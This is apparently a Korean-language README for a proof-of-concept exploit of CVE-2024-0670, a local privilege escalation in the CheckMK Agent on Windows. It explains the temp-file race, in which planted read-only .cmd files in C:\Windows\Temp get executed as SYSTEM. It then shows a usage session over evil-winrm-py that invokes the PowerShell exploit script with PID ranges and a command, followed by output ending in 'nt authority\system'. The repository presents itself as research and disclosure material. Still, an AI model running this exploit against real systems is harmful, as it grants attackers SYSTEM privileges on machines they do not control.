magicrc/cve-2024-0670CVE-2024-0670용 PoC
이 저장소는 Windows 시스템의 CheckMK Agent에 영향을 미치는 CVE-2024-0670 취약점에 대한 PoC(개념 증명) 익스플로잇을 제공합니다. 이 취약점은 CheckMK Agent가 C:\Windows\Temp 디렉터리에 임시 파일을 생성하고 실행할 때 발생합니다. 공격자는 쓰기 보호가 설정된 악성 파일을 해당 디렉터리에 미리 배치하여 이 동작을 악용할 수 있습니다. 에이전트가 이미 읽기 전용으로 존재하는 임시 파일을 생성하려고 하면 덮어쓰기에 실패하지만 SYSTEM 권한으로 기존 파일을 계속 실행하여 권한 상승을 가능하게 합니다.
참고 권고: SEC Consult - Checkmk Agent의 쓰기 가능한 파일을 통한 로컬 권한 상승
이 프로젝트는 교육, 연구 및 승인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에서 이 코드를 사용하지 마십시오.
저자는 어떠한 손해나 오용에 대해 책임지지 않습니다.
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
evil-winrm-py PS C:\Users\magicrc\Desktop> .\CVE-2024-0670.ps1 -MinPID 1000 -MaxPID 10000 -Cmd "whoami > C:\Windows\Temp\whoami.txt"
[+] Searching for Check MK installer...
[+] Found: C:\Windows\Installer\1e6f2.msi
[+] Using command: whoami > C:\Windows\Temp\whoami.txt
[+] Preparing 18000 .cmd files...
[*] Progress: 0%
[*] Progress: 10%
[*] Progress: 20%
[*] Progress: 30%
[*] Progress: 40%
[*] Progress: 50%
[*] Progress: 60%
[*] Progress: 70%
[*] Progress: 80%
[*] Progress: 90%
[*] Progress: 100%
[+] Triggering MSI to execute command...
[+] Done
evil-winrm-py PS C:\Users\magicrc\Desktop> cat C:\Windows\Temp\whoami.txt
nt authority\system